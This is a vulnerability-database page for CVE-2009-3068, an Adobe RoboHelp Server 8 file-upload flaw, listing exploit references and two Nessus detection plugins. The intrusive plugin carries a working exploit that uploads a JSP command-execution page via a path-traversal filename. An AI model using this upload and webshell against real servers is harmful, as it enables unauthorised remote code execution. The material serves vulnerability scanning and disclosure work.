Vulnerabilities > CVE-2009-3068 - Permissions, Privileges, and Access Controls vulnerability in Adobe Robohelp Server 8

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
adobe
CWE-264
critical
nessus
exploit available
metasploit

Summary

Unrestricted file upload vulnerability in the RoboHelpServer Servlet (robohelp/server) in Adobe RoboHelp Server 8 allows remote attackers to execute arbitrary code by uploading a Java Archive (.jsp) file during a PUBLISH action, then accessing it via a direct request to the file in the robohelp/robo/reserved/web directory under its sessionid subdirectory, as demonstrated by the vd_adobe module in VulnDisco Pack Professional 8.7 through 8.11.

Vulnerable Configurations

Part Description Count
Application
Adobe
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

D2sec

nameAdobe Robohelp Server 8 Upload
urlhttp://www.d2sec.com/exploits/adobe_robohelp_server_8_upload.html

Exploit-Db

  • descriptionAdobe RoboHelp Server 8 Authentication Bypass Vulnerability. CVE-2009-3068. Webapps exploit for jsp platform
    idEDB-ID:33209
    last seen2016-02-03
    modified2009-09-03
    published2009-09-03
    reporterIntevydis
    sourcehttps://www.exploit-db.com/download/33209/
    titleAdobe RoboHelp Server 8 - Authentication Bypass Vulnerability
  • descriptionAdobe RoboHelp Server 8 Arbitrary File Upload and Execute. CVE-2009-3068. Remote exploits for multiple platform
    idEDB-ID:16789
    last seen2016-02-02
    modified2010-11-24
    published2010-11-24
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16789/
    titleAdobe RoboHelp Server 8 - Arbitrary File Upload and Execute

Metasploit

descriptionThis module exploits an authentication bypass vulnerability which allows remote attackers to upload and execute arbitrary code.
idMSF:EXPLOIT/WINDOWS/HTTP/ADOBE_ROBOHELPER_AUTHBYPASS
last seen2020-03-17
modified2017-07-24
published2009-09-27
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/adobe_robohelper_authbypass.rb
titleAdobe RoboHelp Server 8 Arbitrary File Upload and Execute

Nessus

  • NASL familyCGI abuses
    NASL idROBOHELPSERVER_APSB09_14.NASL
    descriptionThe version of RoboHelp Server running on the remote host has a security bypass vulnerability. Arbitrary files can be uploaded to the web server by using a specially crafted POST request. Uploading a JSP file can result in command execution as SYSTEM.
    last seen2020-06-01
    modified2020-06-02
    plugin id41947
    published2009-09-30
    reporterThis script is Copyright (C) 2009-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/41947
    titleAdobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(41947);
      script_version("1.15");
      script_cvs_date("Date: 2018/11/15 20:50:18");
    
      script_cve_id("CVE-2009-3068");
      script_bugtraq_id(36245);
      script_xref(name:"Secunia", value:"36467");
    
      script_name(english:"Adobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)");
      script_summary(english:"Uploads a file to run a command");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host has a security bypass
    vulnerability that can lead to arbitrary command execution.");
      script_set_attribute(attribute:"description", value:
    "The version of RoboHelp Server running on the remote host has a
    security bypass vulnerability.  Arbitrary files can be uploaded to the
    web server by using a specially crafted POST request.  Uploading a JSP
    file can result in command execution as SYSTEM.");
      # http://web.archive.org/web/20091024040825/http://www.intevydis.com/blog/?p=69
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f4448043");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-09-066/");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2009/Sep/359");
      script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/advisories/apsa09-05.html");
      script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/bulletins/apsb09-14.html");
      script_set_attribute(attribute:"solution", value:"Apply the patch referenced in Adobe's advisory.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"false");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Adobe Robohelp Server 8 Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
      script_cwe_id(264);
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2009/09/09");
      script_set_attribute(attribute:"patch_publication_date", value:"2009/09/18");
      script_set_attribute(attribute:"plugin_publication_date", value:"2009/09/30");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:robohelp_server");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.");
    
      script_dependencies("http_version.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80, 8080);
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    
    port = get_http_port(default:8080);
    
    dir = '/robohelp';
    filename = string(SCRIPT_NAME, "-", unixtime(), ".jsp");
    cmd = 'ipconfig /all';
    expected_output = 'Windows IP Configuration';
      
    # The exploit allows us to upload this JSP source which will execute as SYSTEM
    jsp_source = '<%@ page import="java.io.*" %>
    <%
    Process p = Runtime.getRuntime().exec("' + cmd + '");
    String output= "";
    String temp = null;
    InputStreamReader reader = new InputStreamReader(p.getInputStream());
    BufferedReader stdin = new BufferedReader(reader);
    
    while ((temp = stdin.readLine()) != null)
    {
      output += temp;
      if (temp.length() > 0) {output += "\\n";}
    }
    %><%= output %>';
    
    # Make sure the web page exists before making a POST request
    posturl = string(dir, '/server?PUBLISH=1');
    res = http_send_recv3(method:"GET", item:posturl, port:port);
    if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");
    
    hdrs = parse_http_headers(status_line:res[0], headers:res[1]);
    if (isnull(hdrs['$code'])) code = 0;
    else code = hdrs['$code'];
    if (code != 200) exit(0, posturl + " doesn't exist.");
    
    # Construct and send the POST request (to upload the file)
    headers = make_array(
      "UID", rand(),
      "Content-Type", "multipart/form-data; boundary=--nessus\r\n"
    );
    
    postdata = string(
      '--nessus\r\n',
      'Content-Disposition: form-data; name="filename"; ',
      'filename="../../../../', filename, '"\r\n',
      'Content-Type: application/x-java-archive\r\n\r\n',
      jsp_source,
      '\r\n'
    );
    
    res = http_send_recv3(
      method:"POST",
      item:posturl,
      port:port,
      add_headers:headers,
      data:postdata
    );
    if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");
    
    # If the upload didn't succeed, the system's patched
    if ('<HTML><TITLE>Upload Status</TITLE><BODY><HR></BODY></HTML>' >!< res[2])
      exit(1, "The exploit failed.");
    
    # Request the newly uploaded file to execute our code
    url = string(dir, '/', filename);
    res = http_send_recv3(method:"GET", item:url, port:port);
    if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");
    
    if (expected_output >< res[2])
    {
      if (report_verbosity > 0)
      {
        report = string(
          "\n",
          "Nessus was able to execute '", cmd, "' by uploading and requesting\n",
          "the following page :\n\n",
          "  ", build_url(qs:url, port:port), "\n"
        );
    
        if (report_verbosity > 1)
          report += string("\nThis generated the following output :\n\n", res[2]);
    
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    
      exit(0);
    }
    else exit(1, "Error requesting " + build_url(qs:url, port:port));
    
  • NASL familyCGI abuses
    NASL idROBOHELPSERVER_APSB09_14_SAFE.NASL
    descriptionThe version of RoboHelp Server running on the remote host has a security bypass vulnerability. Arbitrary files can be uploaded to the web server by using a specially crafted POST request. Uploading a JSP file can result in command execution as SYSTEM. Since safe checks are enabled, Nessus detected this vulnerability solely by issuing an incomplete POST request and checking the resulting HTTP status code.
    last seen2020-06-01
    modified2020-06-02
    plugin id41946
    published2009-09-30
    reporterThis script is Copyright (C) 2009-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/41946
    titleAdobe RoboHelp Server Security Bypass (APSA09-05)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(41946);
      script_version("1.17");
      script_cvs_date("Date: 2018/11/15 20:50:18");
    
      script_cve_id("CVE-2009-3068");
      script_bugtraq_id(36245);
      script_xref(name:"Secunia", value:"36467");
    
      script_name(english:"Adobe RoboHelp Server Security Bypass (APSA09-05)");
      script_summary(english:"Looks at the HTTP status code of a bad request");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host has a security bypass
    vulnerability that can lead to arbitrary command execution.");
      script_set_attribute(attribute:"description", value:
    "The version of RoboHelp Server running on the remote host has a
    security bypass vulnerability.  Arbitrary files can be uploaded to
    the web server by using a specially crafted POST request.  Uploading
    a JSP file can result in command execution as SYSTEM.
    
    Since safe checks are enabled, Nessus detected this vulnerability
    solely by issuing an incomplete POST request and checking the
    resulting HTTP status code.");
      # http://web.archive.org/web/20091024040825/http://www.intevydis.com/blog/?p=69
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f4448043");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-09-066/");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2009/Sep/359");
      script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/advisories/apsa09-05.html");
      script_set_attribute(attribute:"see_also", value:"https://www.adobe.com/support/security/bulletins/apsb09-14.html");
      script_set_attribute(attribute:"solution", value:"Apply the patch referenced in Adobe's advisory.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"false");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Adobe Robohelp Server 8 Upload");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
      script_cwe_id(264);
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2009/09/09");
      script_set_attribute(attribute:"patch_publication_date", value:"2009/09/18");
      script_set_attribute(attribute:"plugin_publication_date", value:"2009/09/30");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:robohelp_server");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.");
    
      script_dependencies("http_version.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80, 8080);
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("url_func.inc");
    
    
    port = get_http_port(default:8080);
      
    # Make sure the web page exists before making a POST request
    page = '/robohelp/server?';
    query = 'area=' + SCRIPT_NAME;
    url = page + query;
    res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail: 1);
    
    # If we're not redirected to a project or a welcome screen, this probably isn't
    # Adobe RoboHelp. If any projects have been published, we should see our query
    # string in the redirect.  If no projects have been published, we should see a
    # redirect to a welcome page
    pattern = string(
      'http-equiv="refresh" content="0;url=(',
      'http://[^/]+',
      ereg_replace(string:page, pattern:"\?", replace:"\?"), urlencode(str:query),
      '|',
      '/robohelp/robo//server/resource/mr_sys_welcome.htm)'
    );
    if (!egrep(pattern:pattern, string:tolower(res[2])) )
      exit(0, "RoboHelp doesn't appear to be available via port "+port+".");
    
    # Since we're not providing any POST data, a file won't be created, but we'll
    # be able to tell if the system is patched based on the HTTP return code
    url = '/robohelp/server?PUBLISH=1';
    headers = make_array("UID", rand());
    res = http_send_recv3(
      method:"POST",
      item:url,
      port:port,
      exit_on_fail: 1,
      add_headers:headers
    );
    
    headers = parse_http_headers(status_line:res[0], headers:res[1]);
    http_code = headers['$code'];
    if (isnull(http_code)) exit(1, "Error parsing HTTP response code");
    
    # If we get an HTTP OK, it's vulnerable.  If our request required authentication# it's patched
    if (http_code == 200) security_hole(port);
    else if (http_code == 401) exit(0, "The web server on port "+port+" is not affected");
    else exit(1, "Unexpected HTTP status code on port "+port);
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/83140/adobe_robohelper_authbypass.rb.txt
idPACKETSTORM:83140
last seen2016-12-05
published2009-11-26
reporterMC
sourcehttps://packetstormsecurity.com/files/83140/Adobe-RoboHelp-Server-8-Arbitrary-File-Upload-and-Execute..html
titleAdobe RoboHelp Server 8 Arbitrary File Upload and Execute.